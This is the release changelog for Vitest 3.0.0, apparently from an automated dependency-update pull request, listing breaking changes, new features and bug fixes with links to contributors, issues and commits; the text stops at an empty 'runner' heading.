[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

Vitest 3 is here! There are a few breaking changes, but we expect the migration to be smooth. This release page lists all changes made to the project during the beta. For the migration guide, please refer to the [documentation](https://vitest.dev/guide/migration.html#migrating-to-vitest-2-0).

#####    🚨 Breaking Changes

-   `spy.mockReset` changes  -  by [@&#8203;Lordfirespeed](https://redirect.github.com/Lordfirespeed) in [https://github.com/vitest-dev/vitest/issues/6426](https://redirect.github.com/vitest-dev/vitest/issues/6426) [<samp>(db7a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/db7a8888)
-   Pass down context to test hooks  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7034](https://redirect.github.com/vitest-dev/vitest/issues/7034) [<samp>(82c2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/82c2e244)
-   Support Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7026](https://redirect.github.com/vitest-dev/vitest/issues/7026) [<samp>(7abe8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7abe854c)
-   **coverage**: Always exclude test files  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7254](https://redirect.github.com/vitest-dev/vitest/issues/7254) [<samp>(b5268)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b5268965)
-   **deps**: Update fake-timers to v14.0.0  -  by [@&#8203;xxzefgh](https://redirect.github.com/xxzefgh) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7097](https://redirect.github.com/vitest-dev/vitest/issues/7097) [<samp>(c98b4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c98b4b1c)
-   **expect**: Check more properties for error equality  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5876](https://redirect.github.com/vitest-dev/vitest/issues/5876) [<samp>(10023)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/100230e9)
-   **runner**: Support `describe(..., { shuffle: boolean })` and inherit from parent suite  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6670](https://redirect.github.com/vitest-dev/vitest/issues/6670) [<samp>(aa1da)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aa1dac3d)
-   **snapshot**: Reset snapshot state for `retry` and `repeats`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6817](https://redirect.github.com/vitest-dev/vitest/issues/6817) [<samp>(e8ce9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e8ce94cf)
-   **spy**: SpyOn reuses mock if method is already spyed on  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6464](https://redirect.github.com/vitest-dev/vitest/issues/6464) [<samp>(b3e43)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b3e43d04)
-   **vitest**: Don't expose default toFake config  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6288](https://redirect.github.com/vitest-dev/vitest/issues/6288) [<samp>(e3144)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e3144fd8)

#####    🚀 Features

-   Support inline `diff` options and support `printBasicPrototype`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and **Michał Grzegorzewski** in [https://github.com/vitest-dev/vitest/issues/6740](https://redirect.github.com/vitest-dev/vitest/issues/6740) [<samp>(39186)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/391860f7)
-   Allow a custom note when calling `ctx.skip()` dynamically  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6805](https://redirect.github.com/vitest-dev/vitest/issues/6805) [<samp>(697c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/697c35c5)
-   Allow inline workspace configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6923](https://redirect.github.com/vitest-dev/vitest/issues/6923) [<samp>(562e1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/562e1b14)
-   Provide the current project to the global setup  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6942](https://redirect.github.com/vitest-dev/vitest/issues/6942) [<samp>(a5bbc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a5bbc0a9)
-   Print project name as a label  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6925](https://redirect.github.com/vitest-dev/vitest/issues/6925) [<samp>(a3bef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3bef598)
-   Print a deprecation warning if suite or test uses object as the third argument  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7031](https://redirect.github.com/vitest-dev/vitest/issues/7031) [<samp>(407f1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/407f10e4)
-   Expose versions from `vitest/node` entry point and statically on Vitest  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7029](https://redirect.github.com/vitest-dev/vitest/issues/7029) [<samp>(be8d4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be8d479b)
-   `diff.printBasicPrototype: false` by default  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7043](https://redirect.github.com/vitest-dev/vitest/issues/7043) [<samp>(2b5c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2b5c5201)
-   Prepare the Vitest API to be stable  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6962](https://redirect.github.com/vitest-dev/vitest/issues/6962) [<samp>(9a1b5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9a1b5012)
-   Support Vite v6 in mocker package  -  by [@&#8203;cexbrayat](https://redirect.github.com/cexbrayat) in [https://github.com/vitest-dev/vitest/issues/7058](https://redirect.github.com/vitest-dev/vitest/issues/7058) [<samp>(96f47)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/96f47d37)
-   Allow multi-browser configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6975](https://redirect.github.com/vitest-dev/vitest/issues/6975) [<samp>(78b62)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/78b62ffe)
-   Add resolved project names to the reporter API  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7213](https://redirect.github.com/vitest-dev/vitest/issues/7213) [<samp>(91758)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/91758360)
-   Introduce the new reporter API  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7069](https://redirect.github.com/vitest-dev/vitest/issues/7069) [<samp>(76662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/766624ab)
-   Add `describe.for`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7253](https://redirect.github.com/vitest-dev/vitest/issues/7253) [<samp>(0ad28)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0ad2860b)
-   **api**:
    -   Add onBrowserInit event  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7255](https://redirect.github.com/vitest-dev/vitest/issues/7255) [<samp>(80ce0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80ce0e1c)
-   **browser**:
    -   Support `actionTimeout` as playwright provider options  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6984](https://redirect.github.com/vitest-dev/vitest/issues/6984) [<samp>(e2c29)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e2c29eaf)
    -   Support clipboard api `userEvent.copy, cut, paste`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6769](https://redirect.github.com/vitest-dev/vitest/issues/6769) [<samp>(843a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/843a621e)
    -   Implement locator.nth()  -  by [@&#8203;xeger](https://redirect.github.com/xeger) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7137](https://redirect.github.com/vitest-dev/vitest/issues/7137) [<samp>(38458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38458ea6)
-   **cli**:
    -   Support excluding projects with `--project=!pattern`  -  by [@&#8203;haines](https://redirect.github.com/haines) in [https://github.com/vitest-dev/vitest/issues/6924](https://redirect.github.com/vitest-dev/vitest/issues/6924) [<samp>(ebfe9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ebfe942c)
    -   Support specifying a line number when filtering tests  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6411](https://redirect.github.com/vitest-dev/vitest/issues/6411) [<samp>(4d94b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4d94b956)
    -   Support location filters for suites  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) in [https://github.com/vitest-dev/vitest/issues/7048](https://redirect.github.com/vitest-dev/vitest/issues/7048) [<samp>(751e2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/751e2dce)
-   **coverage**:
    -   `thresholds` to support maximum uncovered items  -  by [@&#8203;jonahkagan](https://redirect.github.com/jonahkagan) in [https://github.com/vitest-dev/vitest/issues/7061](https://redirect.github.com/vitest-dev/vitest/issues/7061) [<samp>(bde98)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bde98b6d)
-   **expect**:
    -   Add `toHaveBeenCalledExactlyOnceWith` expect matcher  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6894](https://redirect.github.com/vitest-dev/vitest/issues/6894) [<samp>(ff662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ff66206a)
    -   Add `toHaveBeenCalledAfter` and `toHaveBeenCalledBefore` utility  -  by [@&#8203;Barbapapazes](https://redirect.github.com/Barbapapazes) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6056](https://redirect.github.com/vitest-dev/vitest/issues/6056) [<samp>(85e6f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85e6f99f)
    -   Add `toSatisfy` asymmetric matcher  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7022](https://redirect.github.com/vitest-dev/vitest/issues/7022) [<samp>(f691a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f691ad76)
    -   Add `toBeOneOf` matcher  -  by [@&#8203;zirkelc](https://redirect.github.com/zirkelc) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6974](https://redirect.github.com/vitest-dev/vitest/issues/6974) [<samp>(3d742)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3d742b2b)
-   **reporter**:
    -   Add support for function type to classname option in the junit reporter  -  by [@&#8203;jpleclerc](https://redirect.github.com/jpleclerc), **Jean-Philippe Leclerc** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6839](https://redirect.github.com/vitest-dev/vitest/issues/6839) [<samp>(dc238)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dc238e92)
-   **reporters**:
    -   `summary` option for `verbose` and `default` reporters  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6893](https://redirect.github.com/vitest-dev/vitest/issues/6893) [<samp>(511b7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/511b73c7)
-   **runner**:
    -   Test context can inject values from the config's `provide`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6813](https://redirect.github.com/vitest-dev/vitest/issues/6813) [<samp>(85c64)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85c64e35)
    -   Add "queued" state  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6931](https://redirect.github.com/vitest-dev/vitest/issues/6931) [<samp>(5f8d2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5f8d2091)
-   **snapshot**:
    -   Provide `config` to `resolveSnapshotPath`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6800](https://redirect.github.com/vitest-dev/vitest/issues/6800) [<samp>(746d8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/746d8986)
-   **ui**:
    -   Allow run individual tests/suites from the UI  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6641](https://redirect.github.com/vitest-dev/vitest/issues/6641) [<samp>(d9cc8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d9cc81dd)
    -   Make clicking on a test in the UI open the report section and scroll to the test failure if applicable  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) in [https://github.com/vitest-dev/vitest/issues/6900](https://redirect.github.com/vitest-dev/vitest/issues/6900) [<samp>(1bf27)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1bf27f0d)
    -   Allow hide/show node_modules in module graph tab  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7217](https://redirect.github.com/vitest-dev/vitest/issues/7217) [<samp>(50cf6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/50cf61b8)
-   **vitest**:
    -   Include `coverageMap` in json report  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6606](https://redirect.github.com/vitest-dev/vitest/issues/6606) [<samp>(9c8f7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9c8f7e3e)
    -   Add `onTestsRerun` method to global setup context  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6803](https://redirect.github.com/vitest-dev/vitest/issues/6803) [<samp>(e26e0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e26e066c)

#####    🐞 Bug Fixes

-   Misc fix for vite 6 ecosystem ci  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6867](https://redirect.github.com/vitest-dev/vitest/issues/6867) [<samp>(80f8b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80f8bbf4)
-   Respect `cacheDir` when optimizer is enabled  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6910](https://redirect.github.com/vitest-dev/vitest/issues/6910) [<samp>(0b08b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0b08bc11)
-   Reset runningPromise after `finally` in case there is an error to avoid it getting stuck  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6951](https://redirect.github.com/vitest-dev/vitest/issues/6951) [<samp>(02194)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/021944cd)
-   Revert support for Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(fbe5c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fbe5c39d)
-   Support Node 21  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)
-   Don't use `Custom` type internally  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7032](https://redirect.github.com/vitest-dev/vitest/issues/7032) [<samp>(7957f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7957f912)
-   Persist cli filters as watch mode file filter  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6955](https://redirect.github.com/vitest-dev/vitest/issues/6955) [<samp>(cc703)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cc703362)
-   Don't use dim color for succeeded tests  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7059](https://redirect.github.com/vitest-dev/vitest/issues/7059) [<samp>(8a6f5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8a6f5f16)
-   Fix missing chai types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7149](https://redirect.github.com/vitest-dev/vitest/issues/7149) [<samp>(6a09c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6a09cc3b)
-   `cancelCurrentRun` awaits `runningPromise`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7168](https://redirect.github.com/vitest-dev/vitest/issues/7168) [<samp>(1dbf5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1dbf5140)
-   Add Locator typings for nth, first and last.  -  by [@&#8203;xeger](https://redirect.github.com/xeger) in [https://github.com/vitest-dev/vitest/issues/7176](https://redirect.github.com/vitest-dev/vitest/issues/7176) [<samp>(d262e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d262e059)
-   Batch console logs by microtask  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7183](https://redirect.github.com/vitest-dev/vitest/issues/7183) [<samp>(53d1d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/53d1d5f5)
-   Allow `getMockImplementation` to return "once" implementation  -  by [@&#8203;chaptergy](https://redirect.github.com/chaptergy) in [https://github.com/vitest-dev/vitest/issues/7033](https://redirect.github.com/vitest-dev/vitest/issues/7033) [<samp>(39125)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3912554b)
-   `capturePrintError` logger duplicate event handlers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7197](https://redirect.github.com/vitest-dev/vitest/issues/7197) [<samp>(e89c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e89c3693)
-   Allow slots in vitest-browser-vue  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7120](https://redirect.github.com/vitest-dev/vitest/issues/7120) [<samp>(2319f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2319f849)
-   Reset root workspace project on restart  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7238](https://redirect.github.com/vitest-dev/vitest/issues/7238) [<samp>(6e518)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6e51843a)
-   Cleanup `vitest/reporters` entrypoint  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7241](https://redirect.github.com/vitest-dev/vitest/issues/7241) [<samp>(aec0b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aec0b530)
-   Colors on `forks` pool  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7090](https://redirect.github.com/vitest-dev/vitest/issues/7090) [<samp>(8cab9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cab9601)
-   Export `VitestRunner` type from `vitest/runners`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7240](https://redirect.github.com/vitest-dev/vitest/issues/7240) [<samp>(9b218)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9b218854)
-   Return test fn result to runner  -  by [@&#8203;wmertens](https://redirect.github.com/wmertens) in [https://github.com/vitest-dev/vitest/issues/7239](https://redirect.github.com/vitest-dev/vitest/issues/7239) [<samp>(48645)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/48645bf4)
-   Re-apply default conditions if using vite 6 or later  -  by [@&#8203;thebanjomatic](https://redirect.github.com/thebanjomatic), **thebanjomatic** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) [<samp>(84287)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/84287fc2)
-   Prevent infinite loop on prettyDOM calls  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7250](https://redirect.github.com/vitest-dev/vitest/issues/7250) [<samp>(a3a46)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3a46a53)
-   **api**:
    -   Don't report events during `vitest list`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7257](https://redirect.github.com/vitest-dev/vitest/issues/7257) [<samp>(1c2b2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1c2b210d)
-   **benchmark**:
    -   Disable type testing while benchmarking  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7068](https://redirect.github.com/vitest-dev/vitest/issues/7068) [<samp>(4e603)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4e60333d)
    -   Rewrite reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7019](https://redirect.github.com/vitest-dev/vitest/issues/7019) [<samp>(6d23f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6d23f4b1)
-   **browser**:
    -   Improve source maps when `vi.mock` is present  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6810](https://redirect.github.com/vitest-dev/vitest/issues/6810) [<samp>(8d179)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8d179afc)
    -   Explain TypeScript support in docs and add asymmetric matchers to types  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6934](https://redirect.github.com/vitest-dev/vitest/issues/6934) [<samp>(ac1a7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac1a7fdc)
    -   Fix matchers.d.ts  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6995](https://redirect.github.com/vitest-dev/vitest/issues/6995) [<samp>(a485b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a485b32b)
    -   Fix user event state on preview provider  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7041](https://redirect.github.com/vitest-dev/vitest/issues/7041) [<samp>(8e944)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8e94427e)
    -   Fix provider options types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7115](https://redirect.github.com/vitest-dev/vitest/issues/7115) [<samp>(579bd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/579bda97)
    -   Only use locator.element on last expect.element attempt  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7139](https://redirect.github.com/vitest-dev/vitest/issues/7139) and [https://github.com/vitest-dev/vitest/issues/7152](https://redirect.github.com/vitest-dev/vitest/issues/7152) [<samp>(847d3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/847d3221)
    -   Use correct project when filtering `entries` in the browser mode  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7167](https://redirect.github.com/vitest-dev/vitest/issues/7167) [<samp>(423d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/423d6345)
    -   Fix `console.time` with fake timers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7207](https://redirect.github.com/vitest-dev/vitest/issues/7207) [<samp>(903f3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/903f3b9b)
    -   Add instance validation to resolve coverage error  -  by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7231](https://redirect.github.com/vitest-dev/vitest/issues/7231) [<samp>(1e791)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1e7915b5)
-   **coverage**:
    -   Exclude browser mode iframe results  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6905](https://redirect.github.com/vitest-dev/vitest/issues/6905) [<samp>(e04a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e04a1368)
    -   Correct coverage when `isolate: false` is used  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6957](https://redirect.github.com/vitest-dev/vitest/issues/6957) [<samp>(426ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/426ce6d8)
    -   Prevent crash when v8 incorrectly merges static_initializer's  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7150](https://redirect.github.com/vitest-dev/vitest/issues/7150) [<samp>(cb6db)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cb6db13e)
-   **deps**:
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7085](https://redirect.github.com/vitest-dev/vitest/issues/7085) [<samp>(8cc92)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cc92c2f)
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7116](https://redirect.github.com/vitest-dev/vitest/issues/7116) [<samp>(de5ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/de5ce3d9)
    -   Update dependency pathe to v2  -  in [https://github.com/vitest-dev/vitest/issues/7181](https://redirect.github.com/vitest-dev/vitest/issues/7181) [<samp>(74dbe)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/74dbe03f)
-   **diff**:
    -   Truncate to avoid crash on diff large objects  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7133](https://redirect.github.com/vitest-dev/vitest/issues/7133) [<samp>(2a9d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2a9d67a2)
-   **junit**:
    -   Fix testsuites time to be sum of all testsuite items  -  by [@&#8203;saitonakamura](https://redirect.github.com/saitonakamura) in [https://github.com/vitest-dev/vitest/issues/6985](https://redirect.github.com/vitest-dev/vitest/issues/6985) [<samp>(ca37a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ca37a06a)
-   **pretty-format**:
    -   Support react 19  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6909](https://redirect.github.com/vitest-dev/vitest/issues/6909) [<samp>(bd29b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bd29bcc7)
-   **reporters**:
    -   Write buffered stdout/stderr on process exit  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6932](https://redirect.github.com/vitest-dev/vitest/issues/6932) [<samp>(80cde)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80cde2a0)
    -   Rewrite `dot` reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6943](https://redirect.github.com/vitest-dev/vitest/issues/6943) [<samp>(be969)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be969cfb)
    -   Check `--hideSkippedTests` in base reporter  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6988](https://redirect.github.com/vitest-dev/vitest/issues/6988) [<samp>(721a5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/721a5b84)
    -   Show `retry` and `repeats` counts  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7004](https://redirect.github.com/vitest-dev/vitest/issues/7004) [<samp>(3496a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3496a015)
-   **runner**:
